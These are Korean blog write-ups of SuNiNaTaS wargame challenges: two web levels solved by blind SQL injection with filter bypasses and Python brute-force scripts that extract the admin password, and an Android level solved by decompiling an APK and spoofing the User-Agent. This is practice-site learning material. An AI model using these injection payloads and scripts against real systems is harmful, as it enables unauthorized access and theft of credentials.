22번의 주요 키워드인 admin과 substring이 필터링 되어있습니다.


<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->

<!-- Hint 2 : Bypass 'admin' string -->


힌트로 22번과 동일하지만 추가로 "admin" 문자열을 우회하라고 합니다.



우선 substring이 필터링이 되어 문자열을 나눌 수 있는 다른 방법을 찾아야 합니다.

substring과 비슷하게 사용되는 함수들은 left, mid, right가 있습니다.


하지만 mid() 함수는 존재하지 않는지 False만 나왔습니다.

그래서 left 함수를 이용해서 알고 있는 guest로 먼저 올바른 구문인지 확인해 봅니다.

※ left(str, len)



비밀번호 4글자까지는 무리 없이 잘 진행됩니다.



하지만 마지막 5글자로 해보니 No hack이라는 문자열이 나옵니다...

확인해보니까 30글자 문자열 제한이 되어있습니다.


문자열 제한으로 인해 admin 문자열의 우회 방법을 알아내도 비밀번호가 길어버리면 필터링이 되어 성공하지 못합니다.


admin을 필터링하고 있으니 ad'+'min 이렇게 만들어서 보내면 sql query에서 문자열이 합쳐서 query문이 잘 적응되긴 합니다.

(물론 Python로 할 때 +를 %2B로 해야 되더군요.)



이리저리 알아보다가 admin이라는 글자 자체가 없어도 할 수 있다는 내용을 듣고 시도해 봤습니다.


전 문제와 달리 or는 필터링이 되지 않아서 다음과 같이 시도해보면 인증이 되었습니다.

guest라는 내용이 없어도 guest로 인지하고 된 것입니다.


검색하려는 테이블의 정보 중 해당 칼럼의 다음과 같이 'g'로 시작하는 칼럼이 있으면 참으로 판단합니다.

이걸 이용하면 admin의 비밀번호 앞자리를 알 수 있습니다.



하나씩 해보게 되면 'v'가 admin으로 인증이 되게 됩니다.

이제 코드를 짜서 확인해보면 되겠습니다.



다음 Python 코드로 실행해보면 몇 자리의 비밀번호가 나오지만 문자열 30개 제한으로 인해 다 나오지 않습니다.

password의 'v'로 초기화하지 않으면 guest가 먼저 인지 되어 guest의 pw가 나오게 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = 'v'
 
for i in range(2,15):
    for j in range(33,127):
        query = "id='or left(pw,"+str(i)+")='"+password+chr(j)+"'--&pw=1"
        payload = url+query      
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = password+chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



right 함수를 이용해서 뒤의 자리부터 구해서 적절히 합치면 됩니다.

그러기 위해 아래와 같이 코드 수정을 하고 진행하면 비밀번호를 얻을 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = ''
 
for i in range(1,15):
    for j in range(33,127):
        query = "id='or right(pw,"+str(i)+")='"+chr(j)+password+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = chr(j)+password
            print("password: "+password)
            break
        
print ("password : "+password)
 
cs



QnA에 댓글 중에 "함수에 대한 고정관념을 버려야 한다"는 말이 있었습니다.

또한 DB Query에 대해 이해가 필요한 것 같습니다.


아직 배워야 할게 많네요 ..

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

Blind Sql Injection 문제입니다.


많은 문자열들이 필터링이 되어있어서 한정된 방법으로 풀어야합니다.


우선 주석에  <!-- Hint : guest / guest & Your goal is to find the admin's pw --> 과 같이 나와있으며

"admin" 계정의 대한 비밀번호를 찾으면 되는 문제입니다.


guest/guest를 입력해 전송하면 "OK guest"라는 메시지가 나옵니다.


주석이 필터링이 되어있나 확인해보기 위해 --를 입력해보니 잘 됩니다.

대충 이런 Query가 될 것입니다. select * from User_Table where id='guest' --' and pw='1'


뒤에 pw값은 주석으로 인해 무시가 되므로 id가 guest가 있으면 참으로 인식합니다.



Blind Sql Injection을 하기 위해서 처음에 pw가 몇 글자인지 알아야한다 생각하여 length() 함수를 사용했습니다.


length()함수가 필터링 되지는 않았지만 False라고 나오면서 실패하게 됩니다.

구문의 오류는 없어보이는데 왜 안되는지 모르겠네요..


한참을 length가지고 씨름을 하다가 다른 방법으로 해봤습니다.



substring() 함수를 사용해서 바로 찾아 봤습니다.

※substring(str, start, len): 문자열을 가져와서 시작 인덱스를 기준으로 지정된 길이만큼 가져옴. 1부터 시작


guest의 비밀번호는 guest임으로 다음과 같이 작성해봅니다.

99개의 길이를 가져와도 문자열 끝에는 %00이 오기에 인식하지 않습니다.


"OK guest"가 나오는 걸보니 잘 되는거 같습니다.



다음을 이용해서 Python 코드를 작성해 봤습니다.

Python의 requests 모듈을 이용해 해당 URL로 요청을 보내 "OK"값이 나오는지 확인해 봅니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
cookies= {'YourCookie_1':'YourCookie_value_1','YourCookie_2':'YourCookie_value_2'}
 
url = 'http://suninatas.com/Part_one/web22/web22.asp?'
password = ''
 
for i in range(1,20):
    for j in range(33,127):
        query = "id=admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password += chr(j)
            break
        
print ("password : "+password)
cs



정확한 길이를 몰라 20개까지 뽑았는데 문자열의 끝이 %%%%%로 채워지므로 해당 부분을 제외하고 인증하시면 됩니다.





'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

System 문제로 파일을 받고 시작합니다.


파일을 받으시면 확장자가 없으니 HxD로 확인 해보시면 zip파일 인걸 알 수 있습니다.



압축을 풀어보기 전에 내용을 확인 해보면 "AndroidManifest.xml" 이 있는 걸보니 apk로 되어있다고 판단할 수 있습니다.

(apk도 일종의 압축이니..)



처음에는 zip파일로 인지하고 "android studio"로 보일꺼라고 생각했지만 전혀 안보여서 검색을 해보니

"apktool"로 apk파일을 디컴파일하여 분석할 수 있다고 합니다.


사용법은 java -jar [apktool 파일 경로] d [디컴파일할 파일명] 입니다.



수행하고나면 폴더가 생성되고 안에 내용은 다음과 같습니다.

그냥 zip파일을 열었을 때와는 좀 다른 파일들이 보입니다.



다양한 파일들이 있어 "Visual Code"로 해당 폴더를 열어 파일을 하나씩 봤습니다.

그 중 Suninatas$1.smali 파일에 내용을 보니 "key" 값도 있으며 다양한 내용이 있습니다.


해당 key 값으로 인증을 시도하면 인증이 되지 않습니다.



그 중에 ".line 41"에 내용에 주목 해야합니다.

suninatas URL로 id,pw,key 값을 get방식으로 전송하는 코드가 있습니다


key 값은 위 사진 v4에 저장되어 있습니다.

id/pw는 사용자의 계정을 입력하면 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.line 41
    new-instance v9, Ljava/lang/StringBuilder;
    const-string v10, "http://www.suninatas.com/Part_one/web24/chk_key.asp?id="
    invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
    invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    const-string v10, "&pw="
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
    invoke-interface {v6}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    const-string v10, "&key="
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
    invoke-interface {v4}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v9
    invoke-static {v9}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    move-result-object v8
cs

사용하고 있던 chrome URL창에 

http://www.suninatas.com/Part_one/web24/chk_key.asp?id=□□□□&pw=□□□□&key=□□□□□□

이런 식으로 입력해보니 Wrong!Wrong! 이라는 메시지가 나올 뿐 해결되지 않았습니다.


알고보니 android 휴대폰을 이용해서 해당 URL로 접근하면 인증 키를 띄워주었습니다.

하지만 저는 아이폰이기에.. 핸드폰으로는 못해보고


User-Agent Switcher for Chrome 을 이용해서 브라우져를 Android로 변경해서 해결 했습니다.







[참고]

Apktool을 이용한 APK 디컴파일: http://vzio.tistory.com/20

[Android] APKTool 사용법: http://choboitstory.tistory.com/151


smali 코드 배우기: https://i2sec.github.io/files/2017-10-20/study_dalvik_smali.pdf

smali 코드 관련: http://egloos.zum.com/playgame/v/2189805

[Android] smali 코드 분석 연습: http://tribal1012.tistory.com/170



'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

+ Recent posts